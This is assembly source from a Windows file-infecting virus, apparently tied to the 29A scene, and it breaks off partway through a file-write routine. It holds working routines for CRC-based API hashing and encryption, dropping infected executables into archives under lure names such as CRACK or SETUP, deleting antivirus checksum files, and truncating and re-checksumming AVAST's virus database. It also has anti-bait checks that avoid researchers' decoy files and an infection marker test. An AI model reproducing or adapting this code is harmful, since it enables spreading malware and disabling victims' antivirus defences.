;<3B><>Ĵ functions to calculate brute-CRC64 and CRC32 for APIs <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function tries to calculate "brute-CRC64" value for
|
|||
|
;certain buffer when the first two valuez won't know. So,
|
|||
|
;I won't generate DWORD because this operation is very
|
|||
|
;difficult for CPU but instead this I'll encode two WORDs.
|
|||
|
;For DLL encrypting i use this method but for PPE-II I'll
|
|||
|
;generate DWORD.
|
|||
|
;
|
|||
|
; input: ESI ... source data
|
|||
|
; ECX ... defined data in buffer ESI
|
|||
|
;
|
|||
|
; output: EAX ... my low "brute-CRC64" value
|
|||
|
; EDX ... my high "brute-CRC64" value
|
|||
|
;
|
|||
|
__bruteCRC64:
|
|||
|
push esi ecx
|
|||
|
add esi,00000002h ;next WORD
|
|||
|
sub ecx,00000002h
|
|||
|
call __bCRC64_calculate
|
|||
|
pop ecx esi
|
|||
|
push eax ;save the 1st "CRC64" value
|
|||
|
call __bCRC64_calculate
|
|||
|
pop edx
|
|||
|
ret
|
|||
|
|
|||
|
__bCRC64_calculate:
|
|||
|
xor edx,edx ;clear registers
|
|||
|
xor ebx,ebx
|
|||
|
xor eax,eax
|
|||
|
__bCRC64_next_byte:
|
|||
|
lodsb ;load next byte
|
|||
|
xor dl,al
|
|||
|
xor bh,dh
|
|||
|
sub ebx,eax
|
|||
|
mov al,8
|
|||
|
__bCRC64_next_bit:
|
|||
|
rcl edx,1 ;set (c)arry ?
|
|||
|
jc __bCRC64_no_changes
|
|||
|
xor edx,0C1A7F39Ah ;ahhh, special valuez
|
|||
|
xor ebx,09C3B248Eh
|
|||
|
xor ebx,edx
|
|||
|
__bCRC64_no_changes:
|
|||
|
dec al ;next bit ?
|
|||
|
jnz __bCRC64_next_bit
|
|||
|
dec ecx
|
|||
|
jnz __bCRC64_next_byte
|
|||
|
xchg eax,ebx ;low value to EAX
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function wants to get right value which 's been lost
|
|||
|
;Thru "brute-attack" method.
|
|||
|
;
|
|||
|
; input: ESI ... input buffer
|
|||
|
; ECX ... number of bytes in buffer with l.value
|
|||
|
; EAX ... low generated "brute-CRC64" value
|
|||
|
; EDX ... high generated "brute-CRC64" value
|
|||
|
;
|
|||
|
; output: EAX ... original value
|
|||
|
;
|
|||
|
__get_bruteCRC64:
|
|||
|
|
|||
|
xor ebx,ebx
|
|||
|
mov [esi],ebx ;clear original value to zero
|
|||
|
push eax edx ;save generated "brute-CRC64"
|
|||
|
push esi ecx ;save POS and COUNTER
|
|||
|
add esi,00000002h ;the second value
|
|||
|
sub ecx,00000002h
|
|||
|
__g_bCRC64_second_word:
|
|||
|
push esi ecx ;save POS and COUNTER
|
|||
|
call __bCRC64_calculate ;check its "brute-CRC64"
|
|||
|
pop ecx esi
|
|||
|
inc word ptr [esi] ;increase original value
|
|||
|
cmp [esp+00000008h],eax ;ahhh, what's now ?
|
|||
|
jnz __g_bCRC64_second_word
|
|||
|
dec word ptr [esi] ;decrease original value
|
|||
|
|
|||
|
pop ecx esi ;start of the 1st value
|
|||
|
__g_bCRC64_first_value:
|
|||
|
push esi ecx ;save POS and COUNTER
|
|||
|
call __bCRC64_calculate ;calculate its "brute-CRC64"
|
|||
|
pop ecx esi
|
|||
|
inc word ptr [esi] ;increase original value
|
|||
|
cmp [esp+4],eax ;ahhh, what's now ?
|
|||
|
jnz __g_bCRC64_first_value
|
|||
|
dec word ptr [esi] ;decrease original value
|
|||
|
add esp,00000008h ;take away CRC64
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function calculates CRC32 for name of API functions.
|
|||
|
;The code has been stolen from LoRez source, hi mLapse :)
|
|||
|
;
|
|||
|
__mCRC32 equ 0C1A7F39Ah
|
|||
|
__mCRC32_init equ 09C3B248Eh
|
|||
|
;
|
|||
|
__macro_CRC32 macro string
|
|||
|
crcReg = __mCRC32_init
|
|||
|
irpc _x,<string>
|
|||
|
ctrlByte = '&_x&' xor (crcReg and 0FFh)
|
|||
|
crcReg = crcReg shr 8
|
|||
|
rept 8
|
|||
|
ctrlByte = (ctrlByte shr 1) xor (__mCRC32 * (ctrlByte and 1))
|
|||
|
endm
|
|||
|
crcReg = crcReg xor ctrlByte
|
|||
|
endm
|
|||
|
dd crcReg
|
|||
|
endm
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;I don't compare API stringz in kernel32 but CRC32.
|
|||
|
;
|
|||
|
; input: ESI ... string
|
|||
|
; output: EAX ... CRC32
|
|||
|
;
|
|||
|
__get_CRC32:
|
|||
|
push edx
|
|||
|
mov edx,__mCRC32_init
|
|||
|
__gCRC32_next_byte:
|
|||
|
lodsb
|
|||
|
or al,al ;end of name ?
|
|||
|
jz __gCRC32_finish
|
|||
|
|
|||
|
xor dl,al
|
|||
|
mov al,08h
|
|||
|
__gCRC32_next_bit:
|
|||
|
shr edx,01h
|
|||
|
jnc __gCRC32_no_change
|
|||
|
xor edx,__mCRC32
|
|||
|
__gCRC32_no_change:
|
|||
|
dec al
|
|||
|
jnz __gCRC32_next_bit
|
|||
|
jmp __gCRC32_next_byte
|
|||
|
__gCRC32_finish:
|
|||
|
xchg eax,edx ;CRC32 to EAX
|
|||
|
pop edx
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to add dropper to table <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function is main feature for inside-archive works.
|
|||
|
;
|
|||
|
;What we know:
|
|||
|
; * this function is called from "infect_file"
|
|||
|
; * it's certainly *.EXE file
|
|||
|
; * its filesize is lesser then 30Kb
|
|||
|
;
|
|||
|
;Headlines:
|
|||
|
; * get empty archive dropper (create ZIP/ARJ's dropper ?)
|
|||
|
; * if CAB, no packing (stupid structure)
|
|||
|
; * give me TEMP directory (e.g. \WINDOWS\TEMP)
|
|||
|
; * create random TEMP file name (e.g. 29A + 0001.TMP, ...)
|
|||
|
; * get random file name (e.g. SETUP, CRACK, GRATIS, ...)
|
|||
|
; * copy infected file to TEMP directory under new name
|
|||
|
; * create compress command
|
|||
|
; (e.g. C:\ACE.EXE a -ep -m5 C;\TEMP\RUN.EXE C:\TEMP\29A0001.TMP)
|
|||
|
; * create process and execute that command
|
|||
|
; * check process' thread whether process has been finished
|
|||
|
; * delete random file name
|
|||
|
;
|
|||
|
;
|
|||
|
; input: EAX ... filesize
|
|||
|
;
|
|||
|
__new_dName dd 00000000h ;dropper's newName
|
|||
|
;
|
|||
|
__add_dropper:
|
|||
|
|
|||
|
; save registers
|
|||
|
pusha
|
|||
|
|
|||
|
; some free archiver program ?
|
|||
|
mov ecx,NewArchiveNum
|
|||
|
__ad_searching:
|
|||
|
mov eax,ecx ;convert <1..NewArchiveNum>
|
|||
|
dec eax ; t o <0..NewArchiveNum-1>
|
|||
|
lea esi,[ebp+NewArchive]
|
|||
|
imul eax,NewArchiveSize
|
|||
|
add esi,eax
|
|||
|
push ecx
|
|||
|
|
|||
|
; test whether dropper has been created
|
|||
|
cmp [esi.dropper],00000000h
|
|||
|
jnz __ad_next
|
|||
|
|
|||
|
; test whether CAB structure is empty
|
|||
|
cmp ecx,NewArchiveNum
|
|||
|
jnz __ad_next_archive
|
|||
|
|
|||
|
mov eax,filename_size ;allocate mem for CAB's name
|
|||
|
call malloc
|
|||
|
mov [esi.dropper],eax
|
|||
|
mov edi,eax ;copy archive name EXE to
|
|||
|
mov esi,[ebp+filename_ptr] ;my new CAB file name buffer
|
|||
|
mov ecx,filename_size
|
|||
|
rep movsb
|
|||
|
jmp __ad_next
|
|||
|
|
|||
|
; test whether archiver program has been found
|
|||
|
__ad_next_archive:
|
|||
|
mov ebx,esi
|
|||
|
cmp [ebx.program],00000000h
|
|||
|
jz __ad_next
|
|||
|
|
|||
|
; time to prepare dropper - alloc mem, get temp filename
|
|||
|
mov eax,filename_size
|
|||
|
call malloc
|
|||
|
mov [ebx.dropper],eax
|
|||
|
|
|||
|
; get TEMP directory
|
|||
|
push eax ;outta buffer
|
|||
|
push filename_size
|
|||
|
call [ebp+ddGetTempPathA]
|
|||
|
or eax,eax ;give me filepath length
|
|||
|
jz __ad_dealloc
|
|||
|
|
|||
|
; generate new filename for dropper
|
|||
|
mov ecx,eax
|
|||
|
mov eax,filename_size
|
|||
|
call malloc
|
|||
|
mov [ebp+__new_dName],eax
|
|||
|
|
|||
|
push eax
|
|||
|
mov edi,eax ;destination place
|
|||
|
mov esi,[ebx.dropper]
|
|||
|
rep movsb
|
|||
|
call generate_name
|
|||
|
pop edi
|
|||
|
|
|||
|
; copy "filename_name" to "edi"
|
|||
|
push 00000000h ;rewrite its
|
|||
|
push edi ;new filepath and filename
|
|||
|
push [ebp+filename_ptr] ;actual filename
|
|||
|
call [ebp+ddCopyFileA]
|
|||
|
or eax,eax
|
|||
|
jz __ad_dealloc_name
|
|||
|
|
|||
|
; get TEMP file like destination archive name
|
|||
|
mov edi,[ebx.dropper] ;destination place
|
|||
|
push edi
|
|||
|
push 00000000h
|
|||
|
lea eax,[ebp+__ad_TEMP_three_chars]
|
|||
|
push eax ;the first three chars
|
|||
|
push edi ;main TEMP directory
|
|||
|
call [ebp+ddGetTempFileNameA]
|
|||
|
|
|||
|
; delete TEMP file like archive name
|
|||
|
push [ebx+dropper]
|
|||
|
call [ebp+ddDeleteFileA]
|
|||
|
|
|||
|
; get filname's last char from archiver
|
|||
|
mov edi,[ebx.program]
|
|||
|
xor al,al
|
|||
|
mov ecx,-1
|
|||
|
repnz scasb
|
|||
|
dec edi
|
|||
|
|
|||
|
; get archiver's input parameters
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
|
|||
|
dec ecx ;convert to <0..
|
|||
|
imul ecx,ArchiverCommandRealSize
|
|||
|
lea esi,[ebp+ArchiverCommand]
|
|||
|
add esi,ecx
|
|||
|
mov ecx,ArchiverCommandSize
|
|||
|
rep movsb ;copy input parameters
|
|||
|
|
|||
|
; generate compression method
|
|||
|
lodsb ;number of compression method
|
|||
|
movzx eax,al
|
|||
|
call ppe_get_rnd_range
|
|||
|
add esi,eax
|
|||
|
lodsb ;get compression method char
|
|||
|
stosb ;copy it
|
|||
|
mov al,20h ;space letter
|
|||
|
stosb
|
|||
|
|
|||
|
mov esi,[ebx.dropper]
|
|||
|
@copysz
|
|||
|
mov byte ptr [edi-1],20h ;space letter
|
|||
|
|
|||
|
mov esi,[ebp+__new_dName]
|
|||
|
@copysz
|
|||
|
mov byte ptr [edi-1],00h ;zero letter
|
|||
|
|
|||
|
; get some startup information
|
|||
|
lea eax,[ebp+StartupInfo]
|
|||
|
push eax
|
|||
|
call [ebp+ddGetStartupInfoA]
|
|||
|
|
|||
|
mov esi,[ebx.program]
|
|||
|
lea eax,[ebp+ProcessInformation]
|
|||
|
push eax
|
|||
|
lea eax,[ebp+StartupInfo]
|
|||
|
push eax
|
|||
|
|
|||
|
; set window's info
|
|||
|
mov word ptr [eax.dwFlags], 0001h ;STARTF_USESHOWINDOW
|
|||
|
mov word ptr [eax.wShowWindow], 0000h ;SW_HIDE
|
|||
|
xor eax,eax
|
|||
|
push eax ;CurrentDirectory
|
|||
|
push eax ;Environment
|
|||
|
push 04000000h or \ ;CREATE_PROCESS_ERROR_MODE
|
|||
|
00000200h or \ ;CREATE_NEW_PROCESS_GROUP
|
|||
|
00000080h ;HIGH_PRIORITY_CLASS
|
|||
|
push eax ;InheritHandles: FALSE
|
|||
|
push eax ;ThreadAttributes
|
|||
|
push eax ;ProcessAttributes
|
|||
|
push [ebx.program] ;Command
|
|||
|
push eax ;Application Name
|
|||
|
call [ebp+ddCreateProcessA]
|
|||
|
or eax,eax ;success ?
|
|||
|
jnz __wait_to_comp
|
|||
|
|
|||
|
; disable this achiver for future use
|
|||
|
mov eax,[ebx.program]
|
|||
|
call mdealloc
|
|||
|
mov [ebx.program],00000000h
|
|||
|
jmp __ad_dealloc ;dealloc droper as well
|
|||
|
|
|||
|
; give time to compressing
|
|||
|
__wait_to_comp:
|
|||
|
push 1*4*1000 ;4 seconds
|
|||
|
push [ebp+ProcessInformation.hThread]
|
|||
|
call [ebp+ddWaitForSingleObject]
|
|||
|
|
|||
|
; shut down that process
|
|||
|
push 00000000h ;error-code
|
|||
|
push [ebp+ProcessInformation.hProcess]
|
|||
|
call [ebp+ddTerminateProcess]
|
|||
|
|
|||
|
push [ebp+__new_dName] ;delete copied file
|
|||
|
call [ebp+ddDeleteFileA]
|
|||
|
|
|||
|
__ad_dealloc_name:
|
|||
|
mov eax,[ebp+__new_dName] ;dealloc dropper's new name
|
|||
|
call mdealloc
|
|||
|
|
|||
|
__ad_next:
|
|||
|
pop ecx
|
|||
|
dec ecx
|
|||
|
jnz __ad_searching
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
__ad_dealloc:
|
|||
|
mov eax,[ebx.dropper]
|
|||
|
call mdealloc
|
|||
|
mov [ebx.dropper],00000000h
|
|||
|
jmp __ad_next
|
|||
|
|
|||
|
__ad_TEMP_three_chars: ;greeting to all from this
|
|||
|
db '29A',0 ;excelent group (family)
|
|||
|
|
|||
|
;<3B><>Ĵ function to delete AV files <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function has been called from Hyper Infection - API.
|
|||
|
;So, If any AV checksum file has been found, I will delete
|
|||
|
;its.
|
|||
|
;
|
|||
|
; input: EDX ... file name
|
|||
|
kill_av:
|
|||
|
|
|||
|
push edx
|
|||
|
call [ebp+ddDeleteFileA]
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to change AVAST's viruses database <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function modify/truncate AVAST's viruses database.
|
|||
|
;If you want to read tutorial about this method, download
|
|||
|
;it from my web: http://prizzy.cjb.net
|
|||
|
;
|
|||
|
; input: filename_ptr ... is filled
|
|||
|
;
|
|||
|
__ka_handle dd 00000000h ;database's handle
|
|||
|
__ka_memory dd 00000000h ;database's body
|
|||
|
__ka_new_size dd 00000000h ;database's new size
|
|||
|
__ka_checksum dw 0000h ;database's new chck
|
|||
|
;
|
|||
|
|
|||
|
kill_avast:
|
|||
|
|
|||
|
; open AVAST's viruses database
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __ka_finish
|
|||
|
mov [ebp+__ka_handle],eax
|
|||
|
|
|||
|
; generate new database's file size
|
|||
|
mov eax,50000 ;hmmm, + <0,50Kb)
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,AVAST_memSize
|
|||
|
mov [ebp+__ka_new_size],eax
|
|||
|
call malloc
|
|||
|
mov [ebp+__ka_memory],eax
|
|||
|
|
|||
|
; read signature
|
|||
|
mov edx,[ebp+__ka_memory]
|
|||
|
mov ecx,00000004h ;four bytes, please
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__ka_handle]
|
|||
|
call __MyReadFile
|
|||
|
jc __ka_dealloc
|
|||
|
|
|||
|
; check signature
|
|||
|
mov eax,[ebp+__ka_memory]
|
|||
|
movzx eax,word ptr [eax+00000002h]
|
|||
|
cmp eax,000000F4h
|
|||
|
ja __ka_dealloc
|
|||
|
|
|||
|
; read new size
|
|||
|
mov edx,[ebp+__ka_memory]
|
|||
|
mov ecx,[ebp+__ka_new_size]
|
|||
|
mov esi,00000002h
|
|||
|
mov ebx,[ebp+__ka_handle]
|
|||
|
call __MyReadFile
|
|||
|
jc __ka_dealloc
|
|||
|
|
|||
|
; calculate new checksum :)
|
|||
|
xor di,di ;clear these regz
|
|||
|
xor dx,dx
|
|||
|
xor bx,bx
|
|||
|
xor ax,ax
|
|||
|
|
|||
|
mov esi,[ebp+__ka_memory] ;place in memory
|
|||
|
mov ecx,[ebp+__ka_new_size] ;really readed bytes
|
|||
|
sub ecx,00000002h ;sub chacksum word
|
|||
|
|
|||
|
__ka_decode_body:
|
|||
|
lodsb
|
|||
|
add di,ax
|
|||
|
xor dx,ax
|
|||
|
xor bx,ax
|
|||
|
ror bx,01h
|
|||
|
mov ah,al
|
|||
|
loop __ka_decode_body
|
|||
|
|
|||
|
; and now, I must do the final test
|
|||
|
mov ax,di
|
|||
|
xor ax,dx
|
|||
|
xor ax,bx ;AX=new checksum !!
|
|||
|
mov [ebp+__ka_checksum],ax
|
|||
|
|
|||
|
; write new checksum
|
|||
|
lea edx,[ebp+__ka_checksum]
|
|||
|
mov ecx,00000002h
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__ka_handle]
|
|||
|
call __MyWriteFile
|
|||
|
jc __ka_dealloc
|
|||
|
|
|||
|
; truncate database :)
|
|||
|
push 00000000h
|
|||
|
push 00000000h
|
|||
|
push [ebp+__ka_new_size]
|
|||
|
push [ebp+__ka_handle]
|
|||
|
call [ebp+ddSetFilePointer]
|
|||
|
|
|||
|
push [ebp+__ka_handle]
|
|||
|
call [ebp+ddSetEndOfFile]
|
|||
|
|
|||
|
__ka_dealloc:
|
|||
|
mov eax,[ebp+__ka_memory]
|
|||
|
call mdealloc
|
|||
|
mov ebx,[ebp+__ka_handle]
|
|||
|
call __MyCloseFile
|
|||
|
__ka_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ may I infect that file ? <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function checks whether file is enabled to infect.
|
|||
|
;
|
|||
|
; input: EBX ... filename
|
|||
|
; ESI ... pointer to an avoid table
|
|||
|
;
|
|||
|
validate_name:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
lea eax,[ebp+__va_check_file]
|
|||
|
push eax
|
|||
|
mov edi,ebx
|
|||
|
|
|||
|
; get last '\' char
|
|||
|
__va_get_filename:
|
|||
|
push edi
|
|||
|
call [ebp+ddlstrlen]
|
|||
|
mov ecx,eax
|
|||
|
add edi,ecx
|
|||
|
__va_next_char:
|
|||
|
dec edi
|
|||
|
cmp byte ptr [edi],'\'
|
|||
|
jz __va_found
|
|||
|
dec ecx
|
|||
|
jnz __va_next_char
|
|||
|
dec edi
|
|||
|
__va_found:
|
|||
|
inc edi
|
|||
|
sub eax,ecx
|
|||
|
ret
|
|||
|
|
|||
|
__va_check_file:
|
|||
|
push esi
|
|||
|
call [ebp+ddlstrlen]
|
|||
|
mov ecx,eax
|
|||
|
push esi edi
|
|||
|
rep cmpsb
|
|||
|
pop edi esi
|
|||
|
jz __va_file_invalid
|
|||
|
add esi, eax ;go to the next file
|
|||
|
inc esi ; + zero char
|
|||
|
cmp byte ptr [esi],01h ;end of table ?
|
|||
|
jnz __va_check_file
|
|||
|
|
|||
|
; restore all registers
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__va_file_invalid equ $-1
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ anti-bait: do not infect AV files <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Baits are do-nothing programs used by AVers to spread.
|
|||
|
;Familiarly AVers using these filenames:
|
|||
|
; 00000001.EXE, 00000002.EXE, 00000003.EXE etc.
|
|||
|
;or
|
|||
|
; AAAAAAAA.EXE, AAAAAAAB.EXE, AAAAAAAC.EXE etc.
|
|||
|
;
|
|||
|
;This function checks if filename certains any triple chars
|
|||
|
;in sequence. It is typical anti-bait.
|
|||
|
;
|
|||
|
; input: filename_ptr ... is filled
|
|||
|
;
|
|||
|
fuck_av_files:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; get filename
|
|||
|
call __va_get_filename ;EAX = filename length
|
|||
|
|
|||
|
; check triple chars (= anti-bait)
|
|||
|
xor eax,eax ;AH=last char, AL=act. char
|
|||
|
xor ebx,ebx ;BL=how many chars
|
|||
|
__faf_repeat:
|
|||
|
mov al,[edi]
|
|||
|
cmp ah,al ;last char == actual char ?
|
|||
|
jz __faf_same_char
|
|||
|
mov ah,al
|
|||
|
xor bl,bl
|
|||
|
jmp __faf_next_char
|
|||
|
__faf_same_char:
|
|||
|
inc bl
|
|||
|
cmp bl,02h ;triple char ?
|
|||
|
jz __faf_failed
|
|||
|
__faf_next_char:
|
|||
|
inc edi
|
|||
|
cmp byte ptr [edi],'.'
|
|||
|
jnz __faf_repeat
|
|||
|
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__faf_failed equ $-1
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to check if file has been infected <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function check whether number in EAX is divided by
|
|||
|
;special number 117 which the autor has selected for this
|
|||
|
;virus. And 'cause every dividing is possible count through
|
|||
|
;natural logarithm, so I use this math method :).
|
|||
|
;
|
|||
|
; in classic math:
|
|||
|
; " if ((EAX mod 117)==0) file_is_not_infected "
|
|||
|
; in ln math:
|
|||
|
; " if ((modf(exp(ln(EAX)-ln(117)),&integer)==0)
|
|||
|
; file_not_infected "
|
|||
|
;
|
|||
|
;Well, "a/b == e^(ln(a) - ln(b))"
|
|||
|
; "a*b == e^(ln(a) + ln(b))" etc.
|
|||
|
;
|
|||
|
; "exp(x) == 2^(x * log2ofE)" etc.
|
|||
|
;
|
|||
|
;Easy to understand :)
|
|||
|
;
|
|||
|
__check_infected:
|
|||
|
|
|||
|
push ecx
|
|||
|
mov dword ptr [ebp+source_value ],eax
|
|||
|
mov dword ptr [ebp+divided_value],117
|
|||
|
|
|||
|
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
|
|||
|
fninit ;inicialize co-processor
|
|||
|
fldln2 ;give me "e^fldln2==2"
|
|||
|
fild qword ptr [ebp+source_value] ;input number
|
|||
|
fyl2x ;calculate natural logarithm
|
|||
|
fldln2
|
|||
|
fild qword ptr [ebp+divided_value]
|
|||
|
fyl2x ;calculate 2nd nat logarithm
|
|||
|
fsubp ;ln(EAX) - ln(117)
|
|||
|
|
|||
|
fldl2e ;give me log2ofE == 2^
|
|||
|
fmulp
|
|||
|
fabs ;absolute number
|
|||
|
fld1
|
|||
|
fld
|
|||
|
|
|||
|
fstcw [ebp+exp_truncate] ;change rounding
|
|||
|
fstcw [ebp+exp_default]
|
|||
|
fscale ;2^(trunc ST(1)) + ST(0)
|
|||
|
or [ebp+exp_truncate],0Fh ;specify truncation mode
|
|||
|
fldcw [ebp+exp_truncate] ;new mode
|
|||
|
frndint
|
|||
|
and [ebp+exp_default+1],0f3h;default back to round-nearest
|
|||
|
fldcw [ebp+exp_default] ;default mode
|
|||
|
|
|||
|
fist [ebp+exp_further] ;save calculing value
|
|||
|
fxch
|
|||
|
fchs ;negative
|
|||
|
fxch
|
|||
|
fscale
|
|||
|
fstp ;fscale did not adjust stack
|
|||
|
fsubp ;now is "0 <= st(0) < 0.5"
|
|||
|
|
|||
|
f2xm1 ;calculate 2^st(0)
|
|||
|
fld1
|
|||
|
faddp
|
|||
|
|
|||
|
shr word ptr [ebp+exp_further],0001h
|
|||
|
jnb __no_sqrt2
|
|||
|
|
|||
|
fld tbyte ptr [ebp+sqrt2] ;use sqrt(2) to calculate
|
|||
|
fmulp ;the 2nd part
|
|||
|
|
|||
|
__no_sqrt2:
|
|||
|
fild word ptr [ebp+exp_further]
|
|||
|
fxch
|
|||
|
fscale ;fscale doesn't adjust stack
|
|||
|
fstp
|
|||
|
|
|||
|
fldcw [ebp+exp_truncate] ;set truncate mode
|
|||
|
fld st(0) ;st(0)=st(1)
|
|||
|
frndint ;truncate number
|
|||
|
fsubp ;give me only decimal places
|
|||
|
fild qword ptr [ebp+rounded_value] ;rounding
|
|||
|
fmulp ;multiply by 10^x
|
|||
|
frndint
|
|||
|
fistp dword ptr [ebp+decimal_places]
|
|||
|
fldcw [ebp+exp_default]
|
|||
|
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
|
|||
|
|
|||
|
cmp dword ptr [ebp+decimal_places],00000000h
|
|||
|
jnz $+3
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
pop ecx
|
|||
|
ret
|
|||
|
|
|||
|
sqrt2 dt 3FFFB504F333F9DE6485r ;copro sqrt(2) format
|
|||
|
source_value dq 0000000000h
|
|||
|
divided_value dq 0000000000h
|
|||
|
rounded_value dq 1000000000
|
|||
|
|
|||
|
;<3B><>Ĵ common file operations <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
__MyOpenFile: ;opens EDX file
|
|||
|
pusha ;save all registers
|
|||
|
xor eax,eax
|
|||
|
push eax
|
|||
|
push FILE_ATTRIBUTE_NORMAL
|
|||
|
push OPEN_EXISTING
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push GENERIC_READ OR GENERIC_WRITE
|
|||
|
push edx ;file name
|
|||
|
call [ebp+ddCreateFileA]
|
|||
|
mov [esp].access_eax,eax ;handle - take away
|
|||
|
popa
|
|||
|
cmp eax,-1 ;success ?
|
|||
|
jz $+3 ;jump if STC, if not CLC :)
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
ret
|
|||
|
|
|||
|
__MyReadFile: ; read some bytes (ECX) from certain filepos (ESI)
|
|||
|
; to buffer (EDX) by handle (EBX)
|
|||
|
; input:
|
|||
|
; ECX ... number of bytes to read
|
|||
|
; EDX ... destination buffer
|
|||
|
; ESI ... file pos
|
|||
|
; EBX ... file handle
|
|||
|
; output:
|
|||
|
; ECX ... number of reader bytes, CFlags
|
|||
|
|
|||
|
call __MySeekFile ;change file pos
|
|||
|
pusha
|
|||
|
xor eax,eax
|
|||
|
push ecx ;save for later using...
|
|||
|
push eax ;support 2^64-2 bigger file ?
|
|||
|
lea eax,[ebp+last_error]
|
|||
|
push eax ;real readed bytes
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
push ebx
|
|||
|
call [ebp+ddReadFile]
|
|||
|
pop [esp].access_ecx ;save old ECX to PUSHAD
|
|||
|
popa
|
|||
|
cmp ecx,[ebp+last_error]
|
|||
|
jnz $+3 ;jump if STC, if not CLC :)
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
mov ecx,[ebp+last_error]
|
|||
|
ret
|
|||
|
|
|||
|
__MyWriteFile: ; write some bytes (ECX) to certain filepos (ESI)
|
|||
|
; from buffer (EDX) by handle (EBX)
|
|||
|
; input:
|
|||
|
; ECX ... number of bytes to write
|
|||
|
; EDX ... source buffer
|
|||
|
